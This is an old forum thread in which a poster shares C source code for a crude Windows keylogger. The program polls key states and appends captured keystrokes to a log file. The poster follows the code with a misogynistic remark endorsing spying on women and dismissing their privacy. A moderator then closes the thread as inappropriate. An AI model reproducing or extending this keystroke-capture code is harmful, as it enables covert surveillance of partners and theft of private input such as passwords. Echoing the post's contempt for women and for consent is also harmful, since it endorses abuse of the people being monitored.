Keyloggers and Bears an Tigers, Oh My!

Started by
10 comments, last by ShaneD 20 years, 3 months ago
Heres something I threw together in 20 minutes. Its far from perfect. It doesn''t keep track of if the key was released, because I don''t have a second keyboard map to keep track of that.

But it should get you started, if you''re willing to put in some leg-work for yourself =P

#include <windows.h>#include <stdio.h>#include <string.h>// Globals...int g_iBuffer;char g_szBuffer[1024];LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);void AddToBuffer(char cChar);void PrintBuffer(void);int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){	WNDCLASSEX WindowClass;	// Fill Out Our WinClassEx Structure =)	WindowClass.cbClsExtra		= 0;	WindowClass.cbSize			= sizeof(WNDCLASSEX);	WindowClass.cbWndExtra		= 0;	WindowClass.hbrBackground	= (HBRUSH)GetStockObject(BLACK_BRUSH);	WindowClass.hCursor			= LoadIcon(NULL, IDC_ARROW);	WindowClass.hIcon			= LoadIcon(NULL, IDI_WINLOGO);	WindowClass.hIconSm			= LoadIcon(NULL, IDI_WINLOGO);	WindowClass.hInstance		= hInstance;	WindowClass.lpfnWndProc		= WindowProc;	WindowClass.lpszClassName	= "KeyLogger";	WindowClass.lpszMenuName	= NULL;	WindowClass.style			= CS_DBLCLKS | CS_OWNDC | CS_HREDRAW | CS_VREDRAW;	// Register Window	if(!RegisterClassEx(&WindowClass))		return 0;	// Create The Window	HWND hWnd;	if(!(hWnd = CreateWindowEx(	NULL,								"KeyLogger",								"GroZZleR''s Key Logger",								WS_OVERLAPPED | WS_VISIBLE,								0, 0,								640, 480,								NULL,								NULL,								hInstance,								NULL)))		return 0;	// Reset The Buffer	int iLoop = 0;	g_iBuffer = 1;	for(iLoop = 0; iLoop < 1024; iLoop++)		g_szBuffer[iLoop] = ''\0'';	MSG msg;	while(true)	{		if(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))		{			if(msg.message == WM_QUIT)				break;			TranslateMessage(&msg);			DispatchMessage(&msg);		}		if(GetAsyncKeyState(VK_ESCAPE))			PostQuitMessage(0);		for(iLoop = 0x30; iLoop < 0x5B; iLoop++)		{			if(GetAsyncKeyState(iLoop))				AddToBuffer((char)iLoop);		}		if(GetAsyncKeyState(VK_SPACE))			AddToBuffer('' '');		PrintBuffer();	}	return(msg.wParam);}LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam){	return(DefWindowProc(hWnd, msg, wParam, lParam));}void AddToBuffer(char cChar){	if(cChar != g_szBuffer[g_iBuffer - 1])	{		g_szBuffer[g_iBuffer] = cChar;		g_iBuffer++;	}	return;}void PrintBuffer(void){	int iLoop;	FILE *pFile = fopen("log.txt", "a");	if(pFile != NULL)	{		for(iLoop = 1; iLoop < 1024; iLoop++)		{			if(g_szBuffer[iLoop] != ''\0'')				fputc(g_szBuffer[iLoop], pFile);		}	}	fclose(pFile);	// Reset The Buffer	g_iBuffer = 1;	for(iLoop = strlen(g_szBuffer) - 1; iLoop > 0; iLoop--)		g_szBuffer[iLoop] = ''\0'';	return;}


And fuck privacy, girls are manipulative bitches that deserve this kind of shit =)
Advertisement
Often asked, inappropriate topic for the board.
- The trade-off between price and quality does not exist in Japan. Rather, the idea that high quality brings on cost reduction is widely accepted.-- Tajima & Matsubara

This topic is closed to new replies.

Advertisement